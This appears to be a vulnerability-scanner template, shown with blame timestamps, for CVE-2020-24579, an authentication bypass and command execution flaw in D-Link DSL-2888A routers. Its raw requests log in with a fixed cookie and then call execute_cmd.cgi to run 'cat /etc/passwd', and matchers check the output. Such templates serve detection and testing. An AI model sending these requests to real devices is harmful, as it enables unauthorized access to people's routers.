2021-01-30 17:41:47 +00:00
id : CVE-2020-24579
info :
2021-01-31 10:28:15 +00:00
name : DLINK DSL 2888a RCE
2021-01-30 17:41:47 +00:00
author : pikpikcu
2021-09-10 11:26:40 +00:00
severity : high
2021-03-24 06:50:31 +00:00
description : An issue was discovered on D-Link DSL-2888A devices with firmware prior to AU_2.31_V1.1.47ae55. An unauthenticated attacker could bypass authentication to access authenticated pages and functionality.
2021-01-30 17:41:47 +00:00
reference : https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/d-link-multiple-security-vulnerabilities-leading-to-rce/
2021-02-05 19:44:41 +00:00
tags : cve,cve2020,dlink,rce
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 8.80
cve-id : CVE-2020-24579
cwe-id : CWE-287
2021-01-30 17:41:47 +00:00
requests :
- raw :
- | # Response:Location : /page/login/login_fail.html
POST / HTTP/1.1
Host : {{Hostname}}
Cookie : uid=6gPjT2ipmNz
username=admin&password=6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
2021-01-31 10:28:15 +00:00
2021-01-30 17:41:47 +00:00
- | # Get /etc/passwd
GET /cgi-bin/execute_cmd.cgi?timestamp=1589333279490&cmd=cat%20/etc/passwd HTTP/1.1
Host : {{Hostname}}
Cookie : uid=6gPjT2ipmNz
matchers-condition : and
matchers :
- type : status
status :
- 200
2021-09-08 12:17:19 +00:00
2021-01-30 17:41:47 +00:00
- type : regex
regex :
- "nobody:[x*]:65534:65534"
2022-03-22 08:01:31 +00:00
- "root:.*:0:0:"
2021-01-31 10:28:15 +00:00
condition : or